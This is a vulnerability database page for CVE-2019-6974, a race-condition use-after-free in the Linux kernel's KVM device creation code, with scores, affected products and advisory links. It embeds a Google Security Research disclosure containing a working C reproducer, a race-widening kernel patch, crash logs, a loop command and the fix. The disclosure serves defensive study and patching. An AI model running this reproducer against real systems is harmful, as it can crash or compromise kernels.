CVE-2019-6974 : Detail

CVE-2019-6974

8.1
/
High
Memory Corruption
5.35%V3
Network
2019-02-15
14h00 +00:00
2020-01-14
18h06 +00:00
CVE.org
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CVE Descriptions

In the Linux kernel before 4.20.8, kvm_ioctl_create_device in virt/kvm/kvm_main.c mishandles reference counting because of a race condition, leading to a use-after-free.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46388

Publication date : 2019-02-14 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

kvm_ioctl_create_device() contains the following code: dev = kzalloc(sizeof(*dev), GFP_KERNEL); if (!dev) return -ENOMEM; dev->ops = ops; dev->kvm = kvm; mutex_lock(&kvm->lock); ret = ops->create(dev, cd->type); if (ret < 0) { mutex_unlock(&kvm->lock); kfree(dev); return ret; } list_add(&dev->vm_node, &kvm->devices); mutex_unlock(&kvm->lock); if (ops->init) ops->init(dev); ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC); if (ret < 0) { mutex_lock(&kvm->lock); list_del(&dev->vm_node); mutex_unlock(&kvm->lock); ops->destroy(dev); return ret; } kvm_get_kvm(kvm); cd->fd = ret; This code: 1. creates a device that holds a reference to the VM object (with a borrowed reference, the VM's refcount has not been bumped yet) 2. initializes the device 3. transfers the reference to the device to the caller's file descriptor table 4. calls kvm_get_kvm() to turn the borrowed reference to the VM into a real reference The ownership transfer in step 3 must not happen before the reference to the VM becomes a proper, non-borrowed reference, which only happens in step 4. After step 3, an attacker can close the file descriptor and drop the borrowed reference, which can cause the refcount of the kvm object to drop to zero. Reproducer code: ================================= // run as `gcc -o kvm_fd_install kvm_fd_install.c -Wall -pthread && ./kvm_fd_install` #include <pthread.h> #include <fcntl.h> #include <err.h> #include <linux/kvm.h> #include <sys/ioctl.h> #include <stdio.h> #include <unistd.h> static int predicted_fd = -1; static volatile int ready = 0; static void *do_close_predicted_fd(void *dummy) { ready = 1; while (1) close(predicted_fd); return NULL; /*unreachable*/ } int main(void) { int kvm = open("/dev/kvm", O_RDWR); if (kvm == -1) err(1, "open kvm"); int vm = ioctl(kvm, KVM_CREATE_VM, 0); if (vm < 0) err(1, "KVM_CREATE_VM"); predicted_fd = dup(0); if (predicted_fd == -1) err(1, "dup"); close(predicted_fd); pthread_t thread; if (pthread_create(&thread, NULL, do_close_predicted_fd, NULL)) errx(1, "pthread_create"); while (ready == 0) /*spin*/; struct kvm_create_device cd = { .type = KVM_DEV_TYPE_VFIO, .fd = -1, //outparm .flags = 0 }; if (ioctl(vm, KVM_CREATE_DEVICE, &cd)) err(1, "KVM_CREATE_DEVICE"); printf("created device: %d\n", cd.fd); } ================================= To reliably reproduce the issue, patch the kernel as follows to widen the race: ================================= diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c index 5ecea812cb6a..d43677044ec0 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c @@ -51,6 +51,7 @@ #include <linux/slab.h> #include <linux/sort.h> #include <linux/bsearch.h> +#include <linux/delay.h> #include <asm/processor.h> #include <asm/io.h> @@ -2970,6 +2971,8 @@ static int kvm_ioctl_create_device(struct kvm *kvm, bool test = cd->flags & KVM_CREATE_DEVICE_TEST; int ret; + pr_warn("kvm_ioctl_create_device: entry: refcount=%u\n", refcount_read(&kvm->users_count)); + if (cd->type >= ARRAY_SIZE(kvm_device_ops_table)) return -ENODEV; @@ -3000,6 +3003,8 @@ static int kvm_ioctl_create_device(struct kvm *kvm, if (ops->init) ops->init(dev); + pr_warn("kvm_ioctl_create_device: before anon_inode_getfd: refcount=%u\n", refcount_read(&kvm->users_count)); + ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC); if (ret < 0) { mutex_lock(&kvm->lock); @@ -3009,8 +3014,13 @@ static int kvm_ioctl_create_device(struct kvm *kvm, return ret; } + pr_warn("kvm_ioctl_create_device: after anon_inode_getfd: refcount=%u\n", refcount_read(&kvm->users_count)); + msleep(100); + pr_warn("kvm_ioctl_create_device: after sleeping: refcount=%u\n", refcount_read(&kvm->users_count)); + kvm_get_kvm(kvm); cd->fd = ret; + pr_warn("kvm_ioctl_create_device: exiting: refcount=%u\n", refcount_read(&kvm->users_count)); return 0; } ================================= splat in a patched kernel: ================================= [ 224.536858] kvm_ioctl_create_device: entry: refcount=1 [ 224.539410] kvm_ioctl_create_device: before anon_inode_getfd: refcount=1 [ 224.541542] kvm_ioctl_create_device: after anon_inode_getfd: refcount=1 [ 224.651860] BUG: unable to handle kernel paging request at ffffc900015deb08 [ 224.653744] #PF error: [normal kernel read fault] [ 224.655032] PGD 1ead35067 P4D 1ead35067 PUD 1eaeb6067 PMD 1e2c46067 PTE 0 [ 224.656834] Oops: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [ 224.658364] CPU: 0 PID: 1155 Comm: kvm_fd_install Not tainted 5.0.0-rc3+ #251 [ 224.660252] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 224.662551] RIP: 0010:kvm_vm_ioctl+0xd75/0xdd0 [ 224.663746] Code: c7 c7 a0 f3 a0 a8 e8 53 fa 21 00 bf 64 00 00 00 e8 a0 e5 24 00 be 04 00 00 00 4c 89 ef e8 03 ba 42 00 4c 89 ef e8 cb d8 42 00 <8b> b5 08 9b 00 00 48 c7 c7 00 f4 a0 a8 e8 22 fa 21 00 48 89 ef e8 [ 224.668662] RSP: 0018:ffff8881e3c3f988 EFLAGS: 00010246 [ 224.670057] RAX: 0000000000000000 RBX: 1ffff1103c787f36 RCX: ffffffffa6a2c325 [ 224.671950] RDX: 0000000000000003 RSI: dffffc0000000000 RDI: ffffc900015deb08 [ 224.673835] RBP: ffffc900015d5000 R08: fffff520002bbd62 R09: fffff520002bbd62 [ 224.675731] R10: 0000000000000001 R11: fffff520002bbd61 R12: ffff8881d65863e0 [ 224.677615] R13: ffffc900015deb08 R14: ffff8881d65863c8 R15: ffffffffa9653bc0 [ 224.679506] FS: 00007f11f9500700(0000) GS:ffff8881eb000000(0000) knlGS:0000000000000000 [ 224.681643] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 224.684886] CR2: ffffc900015deb08 CR3: 00000001dfc20003 CR4: 00000000003606f0 [ 224.686788] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 224.688674] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 224.690565] Call Trace: [...] [ 224.721351] do_vfs_ioctl+0x134/0x8f0 [...] [ 224.732860] ksys_ioctl+0x70/0x80 [ 224.733749] __x64_sys_ioctl+0x3d/0x50 [ 224.734764] do_syscall_64+0x73/0x160 [ 224.735743] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 224.737092] RIP: 0033:0x7f11f8e21dd7 [ 224.738048] Code: 00 00 00 48 8b 05 c1 80 2b 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 91 80 2b 00 f7 d8 64 89 01 48 [ 224.742945] RSP: 002b:00007ffeb6611e58 EFLAGS: 00000202 ORIG_RAX: 0000000000000010 [ 224.744932] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f11f8e21dd7 [ 224.746810] RDX: 00007ffeb6611e64 RSI: 00000000c00caee0 RDI: 0000000000000004 [ 224.748681] RBP: 00007ffeb6611e80 R08: 00007f11f8d40700 R09: 00007f11f8d40700 [ 224.750556] R10: 00007f11f8d409d0 R11: 0000000000000202 R12: 0000564cddd8a7b0 [ 224.752433] R13: 00007ffeb6611f60 R14: 0000000000000000 R15: 0000000000000000 [ 224.754311] Modules linked in: btrfs xor zstd_compress raid6_pq [ 224.755904] CR2: ffffc900015deb08 [ 224.756792] ---[ end trace 670d8a6b1c3ab210 ]--- ================================= Without the patch, I can still crash a Debian stable distro kernel by running the reproducer in a loop (`while true; do ./kvm_fd_install; done`), but it takes a while to trigger: ================================= [ 251.054762] BUG: unable to handle kernel NULL pointer dereference at 00000000000000a8 [ 251.057734] IP: [<ffffffff95a1695b>] down_write+0x1b/0x40 [ 251.059903] PGD 0 [ 251.061455] Oops: 0002 [#1] SMP [ 251.062661] Modules linked in: ipt_MASQUERADE nf_nat_masquerade_ipv4 nf_conntrack_netlink nfnetlink xfrm_user xfrm_algo iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 xt_addrtype iptable_filter xt_conntrack nf_nat nf_conntrack br_netfilter bridge stp llc aufs(O) overlay snd_hda_codec_generic kvm_intel snd_hda_intel qxl kvm ttm irqbypass crct10dif_pclmul crc32_pclmul ghash_clmulni_intel drm_kms_helper snd_hda_codec snd_hda_core joydev virtio_balloon snd_hwdep evdev sg snd_pcm 9pnet_virtio serio_raw snd_timer snd button virtio_console binfmt_misc soundcore pcspkr drm 9p 9pnet fscache ip_tables x_tables autofs4 ext4 crc16 jbd2 fscrypto ecb mbcache btrfs crc32c_generic xor hid_generic usbhid hid raid6_pq sr_mod cdrom ata_generic virtio_blk virtio_net crc32c_intel ata_piix aesni_intel uhci_hcd [ 251.085764] ehci_pci aes_x86_64 ehci_hcd glue_helper libata lrw gf128mul ablk_helper psmouse i2c_piix4 cryptd virtio_pci usbcore virtio_ring usb_common scsi_mod virtio floppy [ 251.090094] CPU: 4 PID: 6392 Comm: kvm_fd_install Tainted: G O 4.9.0-8-amd64 #1 Debian 4.9.130-2 [ 251.092751] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014 [ 251.094947] task: ffff949b676f10c0 task.stack: ffffb79691840000 [ 251.096524] RIP: 0010:[<ffffffff95a1695b>] [<ffffffff95a1695b>] down_write+0x1b/0x40 [ 251.098605] RSP: 0018:ffffb79691843bf0 EFLAGS: 00010246 [ 251.100029] RAX: 00000000000000a8 RBX: 00000000000000a8 RCX: ffffb79691843c28 [ 251.101904] RDX: ffffffff00000001 RSI: 0000000000000286 RDI: 00000000000000a8 [ 251.103786] RBP: ffff949b4650b1d8 R08: 0000000000000000 R09: 0000000000000000 [ 251.105659] R10: ffff949b66a84510 R11: ffffdb9787f9bf80 R12: ffff949b4650b220 [ 251.107556] R13: ffff949b4650b180 R14: ffffffff96310034 R15: ffff949b4650b180 [ 251.109423] FS: 0000000000000000(0000) GS:ffff949b73d00000(0000) knlGS:0000000000000000 [ 251.111560] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 251.113081] CR2: 00000000000000a8 CR3: 00000001cf808000 CR4: 0000000000360670 [ 251.114956] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 251.116847] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 251.118718] Stack: [ 251.119277] ffff949b67cc0000 ffffffff956933f1 ffffb79691843c00 ffff949b67cc0000 [ 251.122232] ffff949b67cc0000 ffff949b69ce4b68 ffff949b6a624060 ffff949b693cd740 [ 251.124294] ffff949b69ce4b68 ffffffffc07410b2 ffff949b67cc0000 0000000000000008 [ 251.126345] Call Trace: [ 251.127015] [<ffffffff956933f1>] ? debugfs_remove_recursive+0x51/0x1c0 [ 251.128780] [<ffffffffc07410b2>] ? kvm_put_kvm+0x32/0x1d0 [kvm] [ 251.130366] [<ffffffffc07412bd>] ? kvm_vm_release+0x1d/0x30 [kvm] [ 251.132000] [<ffffffff9560cfb8>] ? __fput+0xd8/0x220 [ 251.133327] [<ffffffff95498a5f>] ? task_work_run+0x7f/0xa0 [ 251.134790] [<ffffffff9547ed15>] ? do_exit+0x2d5/0xaf0 [ 251.136163] [<ffffffff9547f5aa>] ? do_group_exit+0x3a/0xa0 [ 251.137618] [<ffffffff9548a5f9>] ? get_signal+0x299/0x640 [ 251.139056] [<ffffffff95426476>] ? do_signal+0x36/0x6a0 [ 251.140458] [<ffffffffc075ca25>] ? kvm_arch_hardware_disable+0x15/0x40 [kvm] [ 251.142324] [<ffffffff9560d05d>] ? __fput+0x17d/0x220 [ 251.143687] [<ffffffff95498a64>] ? task_work_run+0x84/0xa0 [ 251.145156] [<ffffffff95403721>] ? exit_to_usermode_loop+0x71/0xb0 [ 251.146794] [<ffffffff95403bcd>] ? do_syscall_64+0xdd/0xf0 [ 251.148261] [<ffffffff95a18f8e>] ? entry_SYSCALL_64_after_swapgs+0x58/0xc6 [ 251.150074] Code: 01 74 08 48 c7 43 20 01 00 00 00 5b c3 0f 1f 00 0f 1f 44 00 00 53 48 89 fb e8 b2 df ff ff 48 ba 01 00 00 00 ff ff ff ff 48 89 d8 <f0> 48 0f c1 10 85 d2 74 05 e8 17 be d2 ff 65 48 8b 04 25 c0 fb [ 251.157011] RIP [<ffffffff95a1695b>] down_write+0x1b/0x40 [ 251.158480] RSP <ffffb79691843bf0> [ 251.159418] CR2: 00000000000000a8 [ 251.160300] ---[ end trace b3803036d037ea83 ]--- [ 251.161513] Fixing recursive fault but reboot is needed! ================================= I have requested a CVE identifier from MITRE, but haven't heard back yet. I am attaching a suggested patch; here's an inline copy for review (with clobbered whitespace): =========================================== From 7396c501baf3f066c05a74c790775c2c686be8a7 Mon Sep 17 00:00:00 2001 From: Jann Horn <[email protected]> Date: Sat, 26 Jan 2019 01:19:40 +0100 Subject: [PATCH] kvm: fix temporary refcount drop in kvm_ioctl_create_device() As soon as we call anon_inode_getfd(), userspace can close the device, causing a kvm_put_kvm() call that drops a reference. This means that we need to grab a reference for the device before anon_inode_getfd(), otherwise the VM can disappear from under us. Fixes: 852b6d57dc7f ("kvm: add device control API") Cc: [email protected] Signed-off-by: Jann Horn <[email protected]> --- virt/kvm/kvm_main.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c index 5ecea812cb6a..585845203db8 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c @@ -3000,8 +3000,10 @@ static int kvm_ioctl_create_device(struct kvm *kvm, if (ops->init) ops->init(dev); + kvm_get_kvm(kvm); ret = anon_inode_getfd(ops->name, &kvm_device_fops, dev, O_RDWR | O_CLOEXEC); if (ret < 0) { + kvm_put_kvm(kvm); mutex_lock(&kvm->lock); list_del(&dev->vm_node); mutex_unlock(&kvm->lock); @@ -3009,7 +3011,6 @@ static int kvm_ioctl_create_device(struct kvm *kvm, return ret; } - kvm_get_kvm(kvm); cd->fd = ret; return 0; } -- 2.20.1.495.gaa96b0ce6b-goog ===========================================

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version From (including) 3.10 To (excluding) 3.16.64

Linux>>Linux_kernel >> Version From (including) 3.17 To (excluding) 3.18.136

Linux>>Linux_kernel >> Version From (including) 3.19 To (excluding) 4.4.176

Linux>>Linux_kernel >> Version From (including) 4.5 To (excluding) 4.9.156

Linux>>Linux_kernel >> Version From (including) 4.10 To (excluding) 4.14.99

Linux>>Linux_kernel >> Version From (including) 4.15 To (excluding) 4.19.21

Linux>>Linux_kernel >> Version From (including) 4.20 To (excluding) 4.20.8

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 18.04

Canonical>>Ubuntu_linux >> Version 18.10

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F5>>Big-ip_access_policy_manager >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_access_policy_manager >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_access_policy_manager >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_advanced_firewall_manager >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_advanced_firewall_manager >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_advanced_firewall_manager >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_analytics >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_analytics >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_analytics >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_application_acceleration_manager >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_application_acceleration_manager >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_application_acceleration_manager >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_application_security_manager >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_application_security_manager >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_application_security_manager >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_edge_gateway >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_edge_gateway >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_edge_gateway >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_fraud_protection_service >> Version From (including) 13.0.0 To (including) 13.1.1

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F5>>Big-ip_global_traffic_manager >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_global_traffic_manager >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_global_traffic_manager >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_link_controller >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_link_controller >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_link_controller >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_local_traffic_manager >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_local_traffic_manager >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_local_traffic_manager >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_policy_enforcement_manager >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_policy_enforcement_manager >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_policy_enforcement_manager >> Version From (including) 15.0.0 To (excluding) 15.1.0

F5>>Big-ip_webaccelerator >> Version From (including) 13.0.0 To (including) 13.1.1

F5>>Big-ip_webaccelerator >> Version From (including) 14.0.0 To (including) 14.1.0

F5>>Big-ip_webaccelerator >> Version From (including) 15.0.0 To (excluding) 15.1.0

Configuraton 0

Redhat>>Openshift_container_platform >> Version 3.11

Redhat>>Enterprise_linux >> Version 7.0

Redhat>>Enterprise_linux_desktop >> Version 7.0

Redhat>>Enterprise_linux_eus >> Version 7.5

Redhat>>Enterprise_linux_server >> Version 7.0

Redhat>>Enterprise_linux_server_aus >> Version 7.4

Redhat>>Enterprise_linux_server_aus >> Version 7.6

Redhat>>Enterprise_linux_server_eus >> Version 7.6

Redhat>>Enterprise_linux_server_tus >> Version 7.4

Redhat>>Enterprise_linux_server_tus >> Version 7.6

Redhat>>Enterprise_linux_workstation >> Version 7.0

References

https://www.exploit-db.com/exploits/46388/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/107127
Tags : vdb-entry, x_refsource_BID
https://usn.ubuntu.com/3932-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3932-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3930-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3931-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3933-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3931-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3930-2/
Tags : vendor-advisory, x_refsource_UBUNTU
https://usn.ubuntu.com/3933-1/
Tags : vendor-advisory, x_refsource_UBUNTU
https://access.redhat.com/errata/RHSA-2019:0833
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:0818
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHBA-2019:0959
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:2809
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2019:3967
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2020:0103
Tags : vendor-advisory, x_refsource_REDHAT